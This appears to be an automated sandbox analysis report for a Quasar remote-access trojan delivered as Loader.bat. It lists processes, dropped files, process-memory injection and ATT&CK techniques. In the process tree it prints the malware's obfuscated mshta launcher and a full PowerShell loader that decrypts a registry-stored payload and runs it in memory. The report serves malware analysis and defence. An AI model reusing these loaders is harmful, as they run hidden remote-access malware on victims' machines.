quasar | b7182ecea0be3db16dba21b00b2dba41f24bc6fe6a6f4b7131a4a420f5e139d0

Analysis

max time kernel
210s
max time network
212s
platform
windows11-21h2_x64
resource
win11-20240419-en
resource tags

arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
submitted
28-04-2024 21:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Loader.bat
Size

15.5MB
MD5

28423a8cfd1097bdbf64e841a2c8257a
SHA1

92fb218c0267e5060cb1153aab5f56f669561346
SHA256

b7182ecea0be3db16dba21b00b2dba41f24bc6fe6a6f4b7131a4a420f5e139d0
SHA512

11e47c5c300b24457254c3a2815c744c7dd3fdfaa038d36a5f1220dfe92b5c93ce646257d4105b5a40b83e64237781204db1446eaf413cbcd0f0119e25c0653f
SSDEEP

49152:tVEJF+mCi8R797l/kfuubQ6Pu3AnIVtL/3DuGs/se5Q0t2/Q7TSiRBlt1JtT6mrH:y

Score

10^/10

quasar spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/996-84-0x00000113FDAB0000-0x00000113FE25E000-memory.dmp	family_quasar

Deletes itself 1 IoCs

Processes:

powershell.exe

pid process

2800 powershell.exe

Executes dropped EXE 8 IoCs

Processes:

$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exe$sxr-cmd.exe$sxr-powershell.exe

pid	process
2300	$sxr-mshta.exe
4964	$sxr-cmd.exe
996	$sxr-powershell.exe
4712	$sxr-mshta.exe
5096	$sxr-cmd.exe
2948	$sxr-powershell.exe
4716	$sxr-cmd.exe
332	$sxr-powershell.exe

Drops file in System32 directory 3 IoCs

Processes:

svchost.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe

Drops file in Windows directory 6 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\$sxr-mshta.exe	powershell.exe
File created	C:\Windows\$sxr-cmd.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	powershell.exe
File created	C:\Windows\$sxr-powershell.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	powershell.exe
File created	C:\Windows\$sxr-mshta.exe	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 2 IoCs

Processes:

$sxr-mshta.exe$sxr-mshta.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exe$sxr-powershell.exe$sxr-powershell.exe

pid	process
2800	powershell.exe
2800	powershell.exe
2800	powershell.exe
2800	powershell.exe
2800	powershell.exe
2800	powershell.exe
996	$sxr-powershell.exe
996	$sxr-powershell.exe
996	$sxr-powershell.exe
996	$sxr-powershell.exe
996	$sxr-powershell.exe
996	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe
2948	$sxr-powershell.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

Processes:

powershell.exe$sxr-powershell.exe$sxr-powershell.exeExplorer.EXE$sxr-powershell.exe

description	pid	process
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	996	$sxr-powershell.exe
Token: SeDebugPrivilege	996	$sxr-powershell.exe
Token: SeDebugPrivilege	996	$sxr-powershell.exe
Token: SeDebugPrivilege	2948	$sxr-powershell.exe
Token: SeDebugPrivilege	2948	$sxr-powershell.exe
Token: SeDebugPrivilege	2948	$sxr-powershell.exe
Token: SeShutdownPrivilege	3292	Explorer.EXE
Token: SeCreatePagefilePrivilege	3292	Explorer.EXE
Token: SeDebugPrivilege	332	$sxr-powershell.exe
Token: SeShutdownPrivilege	3292	Explorer.EXE
Token: SeCreatePagefilePrivilege	3292	Explorer.EXE
Token: SeShutdownPrivilege	3292	Explorer.EXE
Token: SeCreatePagefilePrivilege	3292	Explorer.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

$sxr-powershell.exe

pid process

2948 $sxr-powershell.exe

pid	process
2948	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exe

description	pid	process	target process
PID 3172 wrote to memory of 2788	3172	cmd.exe	cmd.exe
PID 3172 wrote to memory of 2788	3172	cmd.exe	cmd.exe
PID 3172 wrote to memory of 2800	3172	cmd.exe	powershell.exe
PID 3172 wrote to memory of 2800	3172	cmd.exe	powershell.exe
PID 2300 wrote to memory of 4964	2300	$sxr-mshta.exe	$sxr-cmd.exe
PID 2300 wrote to memory of 4964	2300	$sxr-mshta.exe	$sxr-cmd.exe
PID 4964 wrote to memory of 436	4964	$sxr-cmd.exe	cmd.exe
PID 4964 wrote to memory of 436	4964	$sxr-cmd.exe	cmd.exe
PID 4964 wrote to memory of 996	4964	$sxr-cmd.exe	$sxr-powershell.exe
PID 4964 wrote to memory of 996	4964	$sxr-cmd.exe	$sxr-powershell.exe
PID 996 wrote to memory of 696	996	$sxr-powershell.exe	lsass.exe
PID 996 wrote to memory of 696	996	$sxr-powershell.exe	lsass.exe
PID 996 wrote to memory of 988	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 988	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 540	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 540	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1004	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1004	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1072	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1072	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1160	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1160	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1176	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1176	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1228	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1228	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1264	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1264	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1292	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1292	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1372	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1372	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1444	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1444	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1604	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1604	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1616	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1616	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1660	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1660	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1672	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1672	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1756	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1756	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1816	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1816	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1840	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1840	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1984	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1984	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1832	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1832	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1976	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 1976	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 2064	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 2064	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 2100	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 2100	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 2168	996	$sxr-powershell.exe	spoolsv.exe
PID 996 wrote to memory of 2168	996	$sxr-powershell.exe	spoolsv.exe
PID 996 wrote to memory of 2312	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 2312	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 2324	996	$sxr-powershell.exe	svchost.exe
PID 996 wrote to memory of 2324	996	$sxr-powershell.exe	svchost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:540

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1004

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1176

C:\Windows\$sxr-mshta.exe
C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-CTPjigOuhzyhJbtlIFtU4312:NLdKdIYo=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
2⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2300

C:\Windows\$sxr-cmd.exe
"C:\Windows\$sxr-cmd.exe" /c %$sxr-CTPjigOuhzyhJbtlIFtU4312:NLdKdIYo=%
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4964

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:vDoLArpYUH; "
4⤵
PID:436

C:\Windows\$sxr-powershell.exe
C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:996

C:\Windows\$sxr-mshta.exe
C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-CTPjigOuhzyhJbtlIFtU4312:NLdKdIYo=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
2⤵
- Executes dropped EXE
- Modifies registry class
PID:4712

C:\Windows\$sxr-cmd.exe
"C:\Windows\$sxr-cmd.exe" /c %$sxr-CTPjigOuhzyhJbtlIFtU4312:NLdKdIYo=%
3⤵
- Executes dropped EXE
PID:5096

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:vDoLArpYUH; "
4⤵
PID:488

C:\Windows\$sxr-powershell.exe
C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2948

C:\Windows\$sxr-cmd.exe
"C:\Windows\$sxr-cmd.exe" /C set "UwhVnRqJxw=[System.Diagnostics.Process]::GetProcessById(2948).WaitForExit();[System.Threading.Thread]::Sleep(5000); function MkvkY($bUbRm){ $iKGwT=[System.Security.Cryptography.Aes]::Create(); $iKGwT.Mode=[System.Security.Cryptography.CipherMode]::CBC; $iKGwT.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $iKGwT.Key=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('KuBWPobWiiJOmD8Q6GHQNwVjO7+9R+J9Wm17vUObkkA='); $iKGwT.IV=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('sqFrrsfeSkktOOraqj5J8A=='); $CIcDs=$iKGwT.('@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@'.Replace('@', ''))(); $GYdeq=$CIcDs.('@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@'.Replace('@', ''))($bUbRm, 0, $bUbRm.Length); $CIcDs.Dispose(); $iKGwT.Dispose(); $GYdeq;}function tCVmY($bUbRm){ $uzRVy=New-Object System.IO.MemoryStream(,$bUbRm); $VIRqG=New-Object System.IO.MemoryStream; Invoke-Expression '$WglST @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$uzRVy,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $WglST.CopyTo($VIRqG); $WglST.Dispose(); $uzRVy.Dispose(); $VIRqG.Dispose(); $VIRqG.ToArray();}function fFsyu($bUbRm){ $GYdeq = [System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($bUbRm); $GYdeq = MkvkY($GYdeq); $GYdeq = [System.Text.Encoding]::('@U@T@F@8@'.Replace('@', '')).('@G@e@t@S@t@r@i@n@g@'.Replace('@', ''))($GYdeq); return $GYdeq;}function execute_function($bUbRm,$ZjCsG){ $YBYOs = @( '$NRHJu = [System.@R@e@f@l@e@c@t@i@o@[email protected]]::@L@o@a@d@([byte[]]$bUbRm);'.Replace('@', ''), '$goSii = $NRHJu.EntryPoint;', '$goSii.Invoke($null, $ZjCsG);' ); foreach ($VgESO in $YBYOs) { Invoke-Expression $VgESO };}$mzJlV = fFsyu('fudm9P+5U13XElo+ki4gTQ==');$tlsUI = fFsyu('0zTPyjqPBqsg1i/JxrY+jz6lOn5dH7i9dF0ebxotvaU=');$NfOPZ = fFsyu('pHbA1ShtLK/NsP6VxOvjKQ==');$zkWAi = fFsyu('JmrJIwa68P/DC0qFVGxuiw==');if (@(get-process -ea silentlycontinue $zkWAi).count -gt 1) {exit};$SSiGX = [Microsoft.Win32.Registry]::('@L@o@c@a@l@M@a@c@h@i@n@e@'.Replace('@', '')).('@O@p@e@n@S@u@b@k@e@y@'.Replace('@', ''))($mzJlV).('@G@e@t@V@a@l@u@e@'.Replace('@', ''))($tlsUI);$cLxJS=tCVmY (MkvkY ([Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($SSiGX)));execute_function $cLxJS (,[string[]] ($NfOPZ));" & echo Invoke-Expression $env:UwhVnRqJxw; | C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass > nul
5⤵
- Executes dropped EXE
PID:4716

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:UwhVnRqJxw; "
6⤵
PID:3444

C:\Windows\$sxr-powershell.exe
C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:332

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1604

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1660

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1816

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1840

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1984

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2064

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2100

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2168

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2312

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2604

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2880

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3136

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3292

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Loader.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:3172

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:VbLHakvKOm; "
3⤵
PID:2788

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
3⤵
- Deletes itself
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2800

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3456

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4012

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:4652

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:3556

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1148

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:1860

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:1352

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:4536

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1948

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Filesize
62KB

MD5
e566632d8956997225be604d026c9b39

SHA1
94a9aade75fffc63ed71404b630eca41d3ce130e

SHA256
b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0

SHA512
f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jje0cpot.rtr.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$sxr-cmd.exe
Filesize
324KB

MD5
c5db7b712f280c3ae4f731ad7d5ea171

SHA1
e8717ff0d40e01fd3b06de2aa5a401bed1c907cc

SHA256
f6c9532e1f4b66be96f0f56bd7c3a3c1997ea8066b91bfcc984e41f072c347ba

SHA512
bceaf7dc30f2c99b40b7025a5eb063f3131a1ef9349fdf356720eaef838bcf58ce3d5e3bad9459ddd2f872df430bdb66a766a5acff5d3bbc738eba8945cb0a89

Download Submit
C:\Windows\$sxr-mshta.exe
Filesize
32KB

MD5
356e04e106f6987a19938df67dea0b76

SHA1
f2fd7cde5f97427e497dfb07b7f682149dc896fb

SHA256
4ed8a115fa1dcfd532397b800775c1b54d2d407b52118b5423e94ff1ce855d7e

SHA512
df1c655fa3a95e001084af8c3aa97c54dbcb690210e1353dd836702cfb4af3c857449df62aa62d7ab525ffb4e0dc1552181dfcdee2c28f4af5c20df6d95811cd

Download Submit
C:\Windows\$sxr-powershell.exe
Filesize
440KB

MD5
0e9ccd796e251916133392539572a374

SHA1
eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

SHA256
c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

SHA512
e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

Download Submit
memory/540-131-0x0000027DE8310000-0x0000027DE8339000-memory.dmp

Filesize
164KB

Download
memory/540-132-0x0000027DE8310000-0x0000027DE8339000-memory.dmp

Filesize
164KB

Download
memory/540-124-0x0000027DE8310000-0x0000027DE8339000-memory.dmp

Filesize
164KB

Download
